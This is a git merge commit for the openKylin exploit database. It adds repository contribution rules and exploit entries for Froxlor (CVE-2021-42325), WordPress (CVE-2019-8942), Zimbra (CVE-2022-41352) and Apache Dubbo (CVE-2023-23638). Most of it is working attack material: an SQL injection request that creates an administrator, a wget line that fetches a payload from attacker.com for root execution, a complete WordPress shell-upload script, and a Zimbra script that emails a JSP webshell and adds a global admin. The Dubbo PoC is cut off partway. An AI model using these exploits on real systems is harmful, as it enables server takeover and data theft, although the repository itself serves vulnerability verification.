Merge branch 'master' of gitee.com:openkylin/openkylin-exploit-db into master
Signed-off-by: 周子博 <>
This commit is contained in:
commit
680155dd29
|
@ -2,3 +2,6 @@
|
|||
url = https://gitee.com/zhangqichen131/cve-2022-22978-poc-environment
|
||||
path = cve/java-spring-security/2022/CVE-2022-22978/POC_environment
|
||||
|
||||
[submodule "cve/django/2022/CVE-2022-28346/POC_env"]
|
||||
path = cve/django/2022/CVE-2022-28346/POC_env
|
||||
url = https://github.com/DeEpinGh0st/CVE-2022-28346
|
||||
|
|
|
@ -33,12 +33,12 @@ git clone https://gitee.com/openkylin/openkylin-exploit-db.git
|
|||
4. 新建 Pull Request
|
||||
|
||||
由于未公开漏洞危险性,我们将严格按照[openKylin安全漏洞信息披露政策]()对漏洞进行处理披露。同时我们采取以下措施来对贡献者贡献的漏洞信息进行处理。
|
||||
1. 我们对所有来自贡献者提交的Pull Request开启了代码评审功能,开启的代码评审(Pull Request),仅管理员、审查者、测试者可见,保证了当前Pull Request信息的安全。
|
||||
1. 我们对所有来自贡献者提交的Pull Request开启了代码评审功能,开启的代码评审(Pull Request),仅管理员、审查者、测试者可见,保证了当前Pull Request信息的安全。
|
||||
2. 当贡献者提交issue时,打开了内容风险标识选项后,当前提交的issue非项目成员均无法查看,保证了当前提交的issue信息的安全。
|
||||
|
||||
同时我们也建议贡献者通过以下渠道向社区贡献未公开漏洞:
|
||||
1. Psirt邮箱
|
||||
psirt@lists.openkylin.top,您可以通过E-mail将openKylin相关的安全漏洞情报、信息反馈给openKylin安全团队,由于内容比较敏感,建议您使用公钥对邮件信息进行加密,[公钥下载链接](https://kylinos.cn/upload/psirt_kylinos_pub.asc)。
|
||||
psirt@lists.openkylin.top,您可以通过E-mail将openKylin相关的安全漏洞情报、信息反馈给openKylin安全团队,由于内容比较敏感,建议您使用公钥对邮件信息进行加密,[公钥下载链接](https://kylinos.cn/upload/psirt_kylinos_pub.asc)。
|
||||
|
||||
如果想要项目提供暂时未有的公开漏洞的验证程序,也可通过新建[issue](https://gitee.com/openkylin/openkylin-exploit-db/issues/new)。
|
||||
|
||||
|
@ -47,11 +47,11 @@ psirt@lists.openkylin.top,您可以通过E-mail将openKylin相关的安全漏
|
|||
### 贡献说明
|
||||
|
||||
1. 提交漏洞验证程序目录结构:漏洞编号类型(cve、cnvd)/软件/漏洞年份/漏洞编号。
|
||||
2. 提交漏洞验证程序需要提供漏洞CVE-xxxx-xxx.yaml文件,项目根目录下提供漏洞模版.yaml,内容包括但不限于:漏洞编号、漏洞等级、漏洞简介、漏洞类型、漏洞检测程序来源、补丁链接。
|
||||
2. 提交漏洞验证程序需要提供漏洞CVE-xxxx-xxx.yaml文件,项目根目录下提供漏洞模版.yaml,内容包括但不限于:漏洞编号、漏洞等级、漏洞简介、漏洞类型、漏洞检测程序来源、补丁链接。
|
||||
3. 提交漏洞验证程序需要补充项目根目录中openkylin_list.yaml或other_list.yaml文件。
|
||||
4. 漏洞README.md文件,需要有漏洞验证程序的详细使用方法。
|
||||
|
||||
注:贡献漏洞验证程序如在openKylin发行版上测试有效添加至[openkylin_list.yaml](https://gitee.com/openkylin/openkylin-exploit-db/blob/master/openkylin_list.yaml)列表中,相反添加至[other_list.yaml](https://gitee.com/openkylin/openkylin-exploit-db/blob/master/other_list.yaml)列表中,openKylin发行版下载[地址](https://www.openkylin.top/downloads/)。
|
||||
注:贡献漏洞验证程序如在openKylin发行版上测试有效添加至[openkylin_list.yaml](https://gitee.com/openkylin/openkylin-exploit-db/blob/master/openkylin_list.yaml)列表中,相反添加至[other_list.yaml](https://gitee.com/openkylin/openkylin-exploit-db/blob/master/other_list.yaml)列表中,openKylin发行版下载[地址](https://www.openkylin.top/downloads/)。
|
||||
|
||||
### 免责声明
|
||||
为本项目为[openKylin SecurityGovernance SIG组](https://gitee.com/openkylin/securitygovernance-management)主导建立的漏洞验证程序仓库,仓库内容不代表本项目团队和openKylin社区的立场及观点。由于传播、利用此项目中的一切内容而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本项目团队和openKylin社区不为此承担任何责任。
|
||||
|
|
|
@ -0,0 +1,89 @@
|
|||
- Exploit Title: Froxlor 0.10.29.1 - SQL Injection (Authenticated)
|
||||
- Exploit Author: Martin Cernac
|
||||
- Date: 2021-11-05
|
||||
- Vendor: Froxlor (https://froxlor.org/)
|
||||
- Software Link: https://froxlor.org/download.php
|
||||
- Affected Version: 0.10.28, 0.10.29, 0.10.29.1
|
||||
- Patched Version: 0.10.30
|
||||
- Category: Web Application
|
||||
- Tested on: Ubuntu
|
||||
- CVE: 2021-42325
|
||||
|
||||
|
||||
### 1. Technical Description:
|
||||
Froxlor 0.10.28 and 0.10.29.x are affected by an SQL Injection from the authenticated customer panel. This allows an attacker to escalate privilege by creating a Froxlor administrator account and use it to get Remote Code Execution as root on the target machine.
|
||||
|
||||
#### 1.1 Pre-requisites
|
||||
- Access to a customer account
|
||||
- Ability to specify database name when creating a database
|
||||
- Feature only availible from 0.10.28 onward and must be manually enabled
|
||||
|
||||
### 2. Proof Of Concept (PoC):
|
||||
|
||||
The following is a walkthrough of privilege escalation from a mere customer to an admin and achieving RCE as root
|
||||
#
|
||||
#### 2.1 Privilege Escalation
|
||||
|
||||
- Sign into Froxlor as a customer
|
||||
- View your databases
|
||||
- Create a database
|
||||
- Put your payload into the "User/Database name" field (if enabled)
|
||||
- Application will error out however your SQL query will be executed
|
||||
The following is a POST request example of running the payload provided, resulting in an administrator account being created
|
||||
|
||||
|
||||
```
|
||||
POST /froxlor/customer_mysql.php?s=fdbdf63173d0b332ce13a148476499b2 HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 448
|
||||
s=fdbdf63173d0b332ce13a148476499b2&page=mysqls&action=add&send=send&custom_suffix=%60%3Binsert+into+panel_admins+%28loginname%2Cpassword%2Ccustomers_see_all%2Cdomains_see_all%2Ccaneditphpsettings%2Cchange_serversettings%29+values+%28%27x%27%2C%27%245%24ccd0bcdd9ab970b1%24Hx%2Fa0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8%27%2C1%2C1%2C1%2C1%29%3B--&description=x&mysql_password=asdasdasdasdasdasdwire&mysql_password_suggestion=oyxtjaihgb&sendinfomail=0
|
||||
|
||||
```
|
||||
|
||||
|
||||
#### 2.2 Remote Code Execution
|
||||
|
||||
To achieve RCE as root:
|
||||
|
||||
- Sign into Froxlor as the newly created admin account (payload example creds are x:a)
|
||||
- Go to System Settings
|
||||
- Go to Webserver settings
|
||||
- Adjust "Webserver reload command" field to a custom command
|
||||
- The command must not contain any of the following special characters: ;|&><`$~?
|
||||
- For details, see "safe_exec" function in lib/Froxlor/FileDir.php
|
||||
- For example commands see Payloads 4.2 section
|
||||
- Trigger configuration file rebuild
|
||||
- Use menu item "Rebuild config files"
|
||||
- Await a root cron job to execute your command
|
||||
|
||||
### 3. Vulnerable resources and parameters
|
||||
/customer_mysql.php (POST field: custom_suffix)
|
||||
|
||||
|
||||
### 4. Payloads
|
||||
|
||||
#### 4.1 SQL Injection payload
|
||||
The following payload creates a new Froxlor admin with full access to all customers and the server configuration
|
||||
The credentials are:
|
||||
- username: x
|
||||
- password: a
|
||||
|
||||
`;insert into panel_admins (loginname,password,customers_see_all,domains_see_all,caneditphpsettings,change_serversettings) values ('x','$5$ccd0bcdd9ab970b1$Hx/a0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8',1,1,1,1);--
|
||||
|
||||
|
||||
#### 4.2 Remote Code Execution payload
|
||||
Two part payload:
|
||||
- wget http://attacker.com/malicious.txt -O /runme.php
|
||||
- php /runme.php
|
||||
|
||||
### 5. Timeline
|
||||
2021-10-11 Discovery
|
||||
2021-10-11 Contact with developer
|
||||
2021-10-11 Patch issued but no release rolled out
|
||||
2021-10-12 Reserved CVE-2021-42325
|
||||
2021-11-05 Fix release rolled out
|
||||
2021-11-07 Public disclosure
|
||||
|
||||
### 6. References:
|
||||
https://github.com/Froxlor/Froxlor/releases/tag/0.10.30
|
|
@ -0,0 +1,24 @@
|
|||
id: CVE-2021-42325
|
||||
source:
|
||||
https://www.exploit-db.com/exploits/50502
|
||||
info:
|
||||
name: Froxlor是一款易于使用且功能强大的服务器管理面板,用于管理各种主机和域名服务。
|
||||
severity: high
|
||||
description:
|
||||
Froxlor是Froxlor团队的一套轻量级服务器管理软件。
|
||||
Froxlor存在安全漏洞,该漏洞允许在数据库管理器DbManagerMySQL.php中通过自定义数据库名称注入SQL。
|
||||
scope-of-influence:
|
||||
Froxlor 0.9~0.10.30
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-42325
|
||||
- https://avd.aliyun.com/detail?id=AVD-2021-42325
|
||||
- http://packetstormsecurity.com/files/164800/Froxlor-0.10.29.1-SQL-Injection.html
|
||||
- https://github.com/Froxlor/Froxlor/commit/eb592340b022298f62a0a3e8450dbfbe29585782
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2021-42325
|
||||
cwe-id: CWE-89
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: exploit, remote, code execution, sql injection
|
|
@ -0,0 +1,28 @@
|
|||
# CVE-2019-8942 Proof-of-Concept
|
||||
|
||||
### Overview
|
||||
|
||||
WordPress before 4.9.9 and 5.x before 5.0.1 allows remote code execution because an _wp_attached_file Post Meta entry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata. Exploitation can leverage CVE-2019-8943.
|
||||
For a comprehensive understanding, check out the accompanying [blog post](http://blog.nsfocus.net/wordpress-5-0-0-rce/) for in-depth details.
|
||||
|
||||
### Dependencies
|
||||
|
||||
* python3
|
||||
* requests package
|
||||
|
||||
### Usage
|
||||
|
||||
1. Verify if requests is installed:
|
||||
```
|
||||
sudo pip3 install requests
|
||||
```
|
||||
|
||||
2. Modify the "url_root" in poc.py as you wish, for example:
|
||||
```
|
||||
url_root = 'http://localhost/'
|
||||
```
|
||||
|
||||
3. Run the PoC:
|
||||
```
|
||||
python3 ./poc.py
|
||||
```
|
Binary file not shown.
After Width: | Height: | Size: 28 KiB |
|
@ -0,0 +1,97 @@
|
|||
#!/usr/bin/python3
|
||||
|
||||
######################
|
||||
## Imagick RCE POC ##
|
||||
######################
|
||||
import requests
|
||||
import re
|
||||
|
||||
url_root = 'http://localhost/'
|
||||
theme = 'twentyseventeen'
|
||||
current_date = '2019/03/'
|
||||
filename = "imagick.jpg"
|
||||
|
||||
session = requests.Session()
|
||||
creds={'log':'author','pwd':'author','wp-submit':'Log In','redirect_to':'{url}wp-admin/'.format(url=url_root),'testcookie':1}
|
||||
tmp={'wordpress_test_cookie':'WP Cookie check'}
|
||||
r=session.post(url_root+'wp-login.php',cookies=tmp,data=creds)
|
||||
wp_init_cookies=session.cookies
|
||||
|
||||
#get nonce
|
||||
response = requests.get('{url}wp-admin/media-new.php'.format(url=url_root),cookies=wp_init_cookies)
|
||||
_wp_nonce = re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0]
|
||||
|
||||
|
||||
#uploading image
|
||||
data = {
|
||||
'post_id': '0',
|
||||
'_wp_http_referer': '/wp-admin/media-new.php',
|
||||
'_wpnonce': _wp_nonce,
|
||||
'action': 'upload_attachement',
|
||||
'html-upload': 'Upload'
|
||||
}
|
||||
evil = {'async-upload':(filename, open(filename, 'rb'))}
|
||||
upload_result = session.post(url_root+'wp-admin/async-upload.php', data=data, files=evil, cookies=wp_init_cookies)
|
||||
image_id=upload_result.text
|
||||
print(f'Image ID: {image_id}')
|
||||
|
||||
#First exploit :changing metadata
|
||||
#Part 1 create folder ==> evil.jpg?/x
|
||||
response=requests.get(url_root+'wp-admin/post.php?post='+image_id+'&action=edit',cookies=wp_init_cookies)
|
||||
_wpnonce=re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0]
|
||||
ajax_nonce = re.findall(r'imageEdit\.open\( \w+, "(\w+)"',response.text)[0]
|
||||
print(ajax_nonce)
|
||||
data={'_wpnonce':_wpnonce,
|
||||
'action':'editpost',
|
||||
'post_ID':image_id,
|
||||
'meta_input[_wp_attached_file]':current_date+filename+'?/x'
|
||||
}
|
||||
response=requests.post(url_root+'wp-admin/post.php',data=data, cookies=wp_init_cookies)
|
||||
|
||||
#Creating file with wrop-image
|
||||
data={'action':'crop-image',
|
||||
'_ajax_nonce':ajax_nonce,
|
||||
'id':image_id,
|
||||
'cropDetails[x1]':0,
|
||||
'cropDetails[y1]':0,
|
||||
'cropDetails[width]':400,
|
||||
'cropDetails[height]':300,
|
||||
'cropDetails[dst_width]':10,
|
||||
'cropDetails[dst_height]':10}
|
||||
response=requests.post(url_root+'wp-admin/admin-ajax.php',data=data, cookies=wp_init_cookies)
|
||||
|
||||
#Part 2 creating file into current theme
|
||||
data={'_wpnonce':_wpnonce,
|
||||
'action':'editpost',
|
||||
'post_ID':image_id,
|
||||
'meta_input[_wp_attached_file]':current_date+filename+'?/../../../../themes/'+theme+'/shell'
|
||||
}
|
||||
response=requests.post(url_root+'wp-admin/post.php',data=data, cookies=wp_init_cookies)
|
||||
data={'action':'crop-image',
|
||||
'_ajax_nonce':ajax_nonce,
|
||||
'id':image_id,
|
||||
'cropDetails[x1]':0,
|
||||
'cropDetails[y1]':0,
|
||||
'cropDetails[width]':400,
|
||||
'cropDetails[height]':300,
|
||||
'cropDetails[dst_width]':10,
|
||||
'cropDetails[dst_height]':10}
|
||||
response=requests.post(url_root+'wp-admin/admin-ajax.php',data=data, cookies=wp_init_cookies)
|
||||
print(response.text)
|
||||
|
||||
#Including into theme
|
||||
response=requests.post(url_root+'wp-admin/post-new.php', cookies=wp_init_cookies)
|
||||
_wpnonce=re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0]
|
||||
post_id=re.findall(r'"post":{"id":(\w+),',response.text)[0]
|
||||
print(f'Post ID: {post_id}')
|
||||
|
||||
data={'_wpnonce':_wpnonce,
|
||||
'action':'editpost',
|
||||
'post_ID':post_id,
|
||||
'post_title':'wut',
|
||||
'post_name':'wut',
|
||||
'meta_input[_wp_page_template]':'cropped-shell.jpg'
|
||||
}
|
||||
response=requests.post(url_root+'wp-admin/post.php',data=data, cookies=wp_init_cookies)
|
||||
|
||||
print(f'Rce at {url_root}?p={post_id}')
|
|
@ -0,0 +1,21 @@
|
|||
id: CVE-2019-8942
|
||||
source:
|
||||
https://github.com/synacktiv/CVE-2019-8942
|
||||
info:
|
||||
name: WordPress是一款免费开源的内容管理系统(CMS),目前已经成为全球使用最多的CMS建站程序。
|
||||
severity: high
|
||||
description: |
|
||||
WordPress before 4.9.9 and 5.x before 5.0.1 allows remote code execution because an _wp_attached_file Post Meta entry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata. Exploitation can leverage CVE-2019-8943.
|
||||
scope-of-influence:
|
||||
WordPress < 4.9.9
|
||||
WordPress 5.x < 5.0.1
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2019-8942
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 8.8
|
||||
cve-id: CVE-2019-8942
|
||||
cwe-id: CWE-434
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: RCE, 远程代码执行
|
|
@ -0,0 +1,236 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import sys
|
||||
import smtplib
|
||||
import argparse
|
||||
from time import sleep
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.application import MIMEApplication
|
||||
from email.mime.text import MIMEText
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# CONFIGURATION
|
||||
#----------------------------------
|
||||
TARGET = 'mail.test.org'
|
||||
WEBSHELL_PATH = '/public/jsp'
|
||||
WEBSHELL_NAME = 'Startup1_3.jsp'
|
||||
ATTACHMENT = 'payload.tar'
|
||||
SENDER = 'test@test.org'
|
||||
RECIPIENT = 'admin@test.org'
|
||||
|
||||
EMAIL_SUBJECT = 'CVE-2022-41352'
|
||||
EMAIL_BODY = '<b>Just testing.</b><br><p>Don\'t mind me.</p>'
|
||||
#----------------------------------
|
||||
|
||||
# Only change this if zimbra was not installed in the default location
|
||||
UPLOAD_BASE = '/opt/zimbra/jetty_base/webapps/zimbra'
|
||||
|
||||
|
||||
def create_tar_payload(payload, payload_name, payload_path, lnk='startup'):
|
||||
# Block 1
|
||||
link = lnk.encode()
|
||||
mode = b'0000777\x00' # link permissions
|
||||
ouid = b'0001745\x00' # octal uid (997)
|
||||
ogid = b'0001745\x00' # octal gid
|
||||
lnsz = b'00000000000\x00' # file size (link = 0)
|
||||
lmod = b'14227770134\x00' # last modified (octal unix)
|
||||
csum = b' ' # checksum = 8 blanks
|
||||
type = b'2' # type (link = 2)
|
||||
targ = payload_path.encode() # link target
|
||||
magi = b'ustar \x00' # ustar magic bytes + version
|
||||
ownu = b'zimbra' # user owner
|
||||
owng = b'zimbra' # group owner
|
||||
vers = b'\x00'*8 + b'\x00'* 8 # device major and minor
|
||||
pref = b'\x00'*155 # prefix (only used if the file name length exceeds 100)
|
||||
|
||||
raw_b1_1 = link + b'\x00'*(100-len(link)) + mode + ouid + ogid + lnsz + lmod
|
||||
raw_b1_2 = type + targ + b'\x00'*(100-len(targ)) + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref
|
||||
# calculate and insert checksum
|
||||
csum = oct(sum(b for b in raw_b1_1+csum+raw_b1_2))[2:]
|
||||
raw_b1 = raw_b1_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b1_2
|
||||
# pad block to 512
|
||||
raw_b1 += b'\00'*(512-len(raw_b1))
|
||||
|
||||
# Block 2
|
||||
mode = b'0000644\x00' # file permissions
|
||||
file = f'{lnk}/{payload_name}'.encode()
|
||||
flsz = oct(len(payload))[2:] # file size
|
||||
csum = b' ' # checksum = 8 blanks
|
||||
type = b'0' # type (file = 0)
|
||||
targ = b'\x00'*100 # link target = none
|
||||
|
||||
raw_b2_1 = file + b'\x00'*(100-len(file)) + mode + ouid + ogid + f'{flsz:>011}'.encode() + b'\x00' + lmod
|
||||
raw_b2_2 = type + targ + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref
|
||||
# calculate and insert checksum
|
||||
csum = oct(sum(b for b in raw_b2_1+csum+raw_b2_2))[2:]
|
||||
raw_b2 = raw_b2_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b2_2
|
||||
# pad block to 512
|
||||
raw_b2 += b'\00'*(512-len(raw_b2))
|
||||
|
||||
|
||||
# Assemble
|
||||
raw_tar = raw_b1 + raw_b2 + payload + b'\x00'*(512-(len(payload)%512))
|
||||
raw_tar += b'\x00' * 512 * 2 # Trailer: end with 2 empty blocks
|
||||
|
||||
return raw_tar
|
||||
|
||||
# Update this if you want to use a legit email account for sending the payload
|
||||
def smtp_send_file(target, sender, recipient, subject, body, attachment, attachment_name):
|
||||
msg = MIMEMultipart()
|
||||
msg['Subject'] = subject
|
||||
msg['From'] = sender
|
||||
msg['To'] = recipient
|
||||
|
||||
message = MIMEText(body, 'html')
|
||||
msg.attach(message)
|
||||
|
||||
att = MIMEApplication(attachment)
|
||||
att.add_header('Content-Disposition', 'attachment', filename=attachment_name)
|
||||
msg.attach(att)
|
||||
|
||||
try:
|
||||
print(f'>>> Sending payload')
|
||||
smtp_server = smtplib.SMTP(target,25)
|
||||
smtp_server.sendmail(sender, recipient, msg.as_string())
|
||||
print(f'>>> Payload delivered')
|
||||
except Exception as e:
|
||||
print(f'[!] Failed to send the mail: {e}')
|
||||
sys.exit(1)
|
||||
|
||||
def verify_upload(target, shell, path):
|
||||
print(f'>>> Verifying upload to {path}/{shell} ...')
|
||||
sleep(5) # give the server time to process the email
|
||||
resp = requests.get(f'https://{target}{path}/{shell}', verify=False)
|
||||
if resp.status_code == 200:
|
||||
print(f'>>> [PWNED] Upload successful!')
|
||||
else:
|
||||
print(f'>>> Upload unsuccesful :(')
|
||||
sys.exit(1)
|
||||
|
||||
def create_new_zimbra_admin(target, shell, path):
|
||||
url = f'https://{target}'
|
||||
pw = 'Pwn1ng_Z1mbra_!s_fun'
|
||||
print(f'>>> Adding a new global administrator')
|
||||
if (input(f'>>> Are you sure you want to continue? (yN): ') != 'y'):
|
||||
sys.exit(0)
|
||||
admin = input(f'>>> Enter the new admin email (newadmin@domain.com): ')
|
||||
r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ca {admin} {pw}', verify=False)
|
||||
r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ma {admin} zimbraIsAdminAccount TRUE', verify=False)
|
||||
|
||||
print(f'>>> Login to {url}:7071/zimbraAdmin/ with:')
|
||||
print(f'>>> Email : {admin}')
|
||||
print(f'>>> Password : {pw}')
|
||||
|
||||
|
||||
def main(args):
|
||||
global TARGET,WEBSHELL_PATH,WEBSHELL_NAME,ATTACHMENT,SENDER,RECIPIENT,EMAIL_SUBJECT,EMAIL_BODY
|
||||
|
||||
# Kali JSP WebShell
|
||||
payload = b'<FORM METHOD=GET ACTION="'
|
||||
payload += WEBSHELL_NAME.encode()
|
||||
payload += b'"><INPUT name="task" type=text><INPUT type=submit value="Run"></FORM><%@ page import="java.io.*" %><% String cmd=request.getParameter("task");String output="";if(cmd!=null){String s=null;try {Process p=Runtime.getRuntime().exec(cmd);BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine())!=null){output+=s;}}catch(IOException e){e.printStackTrace();}} %><pre><%=output %></pre>'
|
||||
|
||||
# Using this instead of argparse default values to allow easy manual configuration as well
|
||||
if args.payload:
|
||||
try:
|
||||
with open(args.payload, 'rb') as f:
|
||||
payload = f.read()
|
||||
except Exception as e:
|
||||
print(f'Failed to read {args.payload}: {e}')
|
||||
sys.exit(1)
|
||||
print(f'>>> Using custom payload from: {args.payload}')
|
||||
else:
|
||||
print(f'>>> Using default payload: JSP Webshell')
|
||||
if args.path:
|
||||
WEBSHELL_PATH = args.path
|
||||
if args.file:
|
||||
WEBSHELL_NAME = args.file
|
||||
if args.attach:
|
||||
ATTACHMENT = args.attach
|
||||
|
||||
tar = create_tar_payload(payload, WEBSHELL_NAME, UPLOAD_BASE+WEBSHELL_PATH)
|
||||
|
||||
print(f'>>> Assembled payload attachment: {ATTACHMENT}')
|
||||
print(f'>>> Payload will be extracted to ({UPLOAD_BASE}){WEBSHELL_PATH}/{WEBSHELL_NAME}')
|
||||
if args.mode == 'manual':
|
||||
with open(ATTACHMENT, 'wb') as f:
|
||||
f.write(tar)
|
||||
print(f'>>> Attachment saved locally.')
|
||||
sys.exit(0)
|
||||
|
||||
if args.target:
|
||||
TARGET = args.target
|
||||
|
||||
print(f'>>> Targeting {TARGET}')
|
||||
|
||||
if args.sender:
|
||||
SENDER = args.sender
|
||||
if args.recip:
|
||||
RECIPIENT = args.recip
|
||||
if args.subject:
|
||||
EMAIL_SUBJECT = args.subject
|
||||
if args.body:
|
||||
try:
|
||||
with open(args.body, 'rb') as f:
|
||||
EMAIL_BODY = f.read().decode()
|
||||
except Exception as e:
|
||||
print(f'Failed to read {args.body}: {e}')
|
||||
sys.exit(1)
|
||||
print(f'>>> Using custom email body from: {args.body}')
|
||||
|
||||
|
||||
smtp_send_file( TARGET,
|
||||
SENDER,
|
||||
RECIPIENT,
|
||||
EMAIL_SUBJECT,
|
||||
EMAIL_BODY,
|
||||
tar,
|
||||
ATTACHMENT )
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
verify_upload(TARGET, WEBSHELL_NAME, WEBSHELL_PATH)
|
||||
|
||||
print(f'>>> Shell at: https://{TARGET}{WEBSHELL_PATH}/{WEBSHELL_NAME}')
|
||||
if args.mode == 'auto':
|
||||
sys.exit(0)
|
||||
|
||||
if args.payload:
|
||||
print(f'>>> (!) "fullpwn" depends on the default JSP webshell - won\'t create the admin account')
|
||||
else:
|
||||
create_new_zimbra_admin(TARGET, WEBSHELL_NAME, WEBSHELL_PATH)
|
||||
|
||||
sys.exit(0)
|
||||
|
||||
if __name__ == '__main__':
|
||||
epi = '''
|
||||
Alternatively, edit the script to change the default configuration.
|
||||
|
||||
The available modes are:
|
||||
|
||||
manual : Only create the payload - you have to deploy the payload yourself.
|
||||
auto : Create a webshell and deploy it via SMTP.
|
||||
fullpwn : After deploying a webshell, add a new global mail administrator.
|
||||
'''
|
||||
|
||||
p = argparse.ArgumentParser(
|
||||
description = 'CVE-2022-41352 Zimbra RCE',
|
||||
formatter_class = argparse.RawDescriptionHelpFormatter,
|
||||
epilog = epi
|
||||
)
|
||||
p.add_argument('mode', metavar='mode', choices=['manual', 'auto', 'fullpwn'], help='(manual|auto|fullpwn) - see below')
|
||||
|
||||
p.add_argument('--target', required=False, metavar='<str>', dest='target', help=f'the target server (default: "{TARGET}")')
|
||||
p.add_argument('--payload', required=False, metavar='<file>', help='the file to save on the target (default: jsp webshell)')
|
||||
p.add_argument('--path', required=False, metavar='<str>', help=f'relative path for the file upload (default: "{WEBSHELL_PATH}")')
|
||||
p.add_argument('--file', required=False, metavar='<str>', help=f'name of the uploaded file (default: "{WEBSHELL_NAME}")')
|
||||
p.add_argument('--attach', required=False, metavar='<str>', help=f'name of the email attachment containing the payload (default: "{ATTACHMENT}")')
|
||||
p.add_argument('--sender', required=False, metavar='<str>', help=f'sender mail address (default: "{SENDER}")')
|
||||
p.add_argument('--recip', required=False, metavar='<str>', help=f'recipient mail address (default: "{RECIPIENT}") (if you can deploy the email directly to the server, neither the sender nor the recipient have to exist for the exploit to work)')
|
||||
p.add_argument('--subject', required=False, metavar='<str>', help=f'subject to use in the email (default: "{EMAIL_SUBJECT}")')
|
||||
p.add_argument('--body', required=False, metavar='<file>', help=f'file containing the html content for the email body (default: "{EMAIL_BODY}")')
|
||||
|
||||
args = p.parse_args()
|
||||
|
||||
main(args)
|
|
@ -0,0 +1,24 @@
|
|||
id: CVE-2022-41352
|
||||
source: https://github.com/Cr4ckC4t/cve-2022-41352-zimbra-rce
|
||||
info:
|
||||
name: Zimbra提供一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。
|
||||
severity: critical
|
||||
description: |
|
||||
An issue was discovered in Zimbra Collaboration (ZCS) 8.8.15 and 9.0. An attacker can upload arbitrary files through amavisd via a cpio loophole (extraction to /opt/zimbra/jetty/webapps/zimbra/public) that can lead to incorrect access to any other user accounts. Zimbra recommends pax over cpio. Also, pax is in the prerequisites of Zimbra on Ubuntu; however, pax is no longer part of a default Red Hat installation after RHEL 6 (or CentOS 6). Once pax is installed, amavisd automatically prefers it over cpio.
|
||||
scope-of-influence:
|
||||
ZCS < 8.8.15 patch 33
|
||||
ZCS < 9.0.0 patch 26
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-41352
|
||||
- https://wiki.zimbra.com/wiki/Security_Center
|
||||
- https://forums.zimbra.org/viewtopic.php?t=71153&p=306532
|
||||
- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
|
||||
- http://packetstormsecurity.com/files/169458/Zimbra-Collaboration-Suite-TAR-Path-Traversal.html
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2022-41352
|
||||
cwe-id: CWE-434
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: CVE-2022, 文件上传
|
|
@ -0,0 +1,7 @@
|
|||
# CVE-2023-23638
|
||||
|
||||
dubbo泛型调用存在反序列化漏洞,可导致恶意代码执行。该问题影响Apache Dubbo 2.7.x 2.7.21及之前版本; Apache Dubbo 3.0.x 版本 3.0.13 及之前版本; Apache Dubbo 3.1.x 版本 3.1.5 及之前的版本。
|
||||
|
||||
复现时需要为 DemoComsumer 添加 VM 参数: `-Ddubbo.hessian.allowNonSerializable=true`, 详情参考 https://su18.org/post/hessian/#serializable
|
||||
|
||||
POC 的本质是利用某个 class 修改 properties 以绕过限制, 代码给的是 JNDI 注入, 可以参考 [CVE-2023-23638 Apache Dubbo JavaNative反序列化漏洞分析](https://mp.weixin.qq.com/s?__biz=Mzg3OTcyNjM1MQ==&mid=2247483788&idx=1&sn=7954ad20fec203469a13a09050536a1c) 自行修改成反序列化的利用方式
|
|
@ -0,0 +1,51 @@
|
|||
package org.apache.dubbo.samples;
|
||||
|
||||
import org.apache.dubbo.common.utils.ConcurrentHashSet;
|
||||
import org.apache.dubbo.common.utils.SerializeClassChecker;
|
||||
import org.apache.dubbo.rpc.service.GenericService;
|
||||
import org.springframework.context.support.ClassPathXmlApplicationContext;
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.*;
|
||||
|
||||
public class DemoConsumer {
|
||||
public static void main(String[] args) throws Exception {
|
||||
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml");
|
||||
context.start();
|
||||
|
||||
Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor();
|
||||
constructor.setAccessible(true);
|
||||
Unsafe unsafe = constructor.newInstance();
|
||||
|
||||
